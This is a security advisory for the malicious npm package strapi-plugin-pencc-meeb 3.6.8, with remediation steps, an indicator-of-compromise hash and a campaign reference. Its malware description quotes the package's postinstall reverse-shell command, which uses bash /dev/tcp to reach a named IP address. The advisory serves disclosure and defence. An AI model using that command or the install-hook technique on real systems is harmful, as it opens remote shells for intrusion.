Which versions of strapi-plugin-pencc-meeb are malicious?

The following npm versions of strapi-plugin-pencc-meeb are flagged malicious: 3.6.8. Treat any of these as compromised.

How do I remediate strapi-plugin-pencc-meeb if I installed it?

strapi-plugin-pencc-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed strapi-plugin-pencc-meeb — how do I know if it already compromised me?

If strapi-plugin-pencc-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is strapi-plugin-pencc-meeb part of a known attack campaign?

Yes — strapi-plugin-pencc-meeb is associated with the IN-MAL-2026-020078 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find strapi-plugin-pencc-meeb across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for strapi-plugin-pencc-meeb (version 3.6.8).

Malicious package

strapi-plugin-pencc-meebnpm

Advisory published Sep 16, 2026Updated Sep 16, 2026

strapi-plugin-pencc-meeb is a confirmed malicious npm package (MAL-2026-16210) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in strapi-plugin-pencc-meeb (npm)

MAL-2026-16210

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall strapi-plugin-pencc-meeb

What this malware does

postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1" via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.

Malicious versions

1 flagged

3.6.8

Indicators of compromise (SHA-256)

3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for strapi-plugin-pencc-meeb (version 3.6.8).
If you installed it — respond
strapi-plugin-pencc-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If strapi-plugin-pencc-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. strapi-plugin-pencc-meeb on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020078

References

npmjs.com

Credits

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O3 blocks strapi-plugin-pencc-meeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

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